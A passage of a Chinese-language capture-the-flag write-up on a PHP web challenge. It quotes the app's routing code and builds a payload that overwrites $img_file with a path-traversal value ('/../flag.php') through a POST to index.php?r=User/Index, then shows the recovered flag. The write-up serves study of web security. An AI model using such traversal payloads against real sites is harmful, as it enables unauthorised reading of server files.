这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./…/flag.php即可,而又因为下面的路由控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}



上面可以知道我们传入的路由 r-User/Index


0x05 我们构造playload

GET: index.php?r=User/Index

POST: img_file=/../flag.php

5

4

1
flag{68b619e4-47d7-4e76-b823-26dd0e110c68}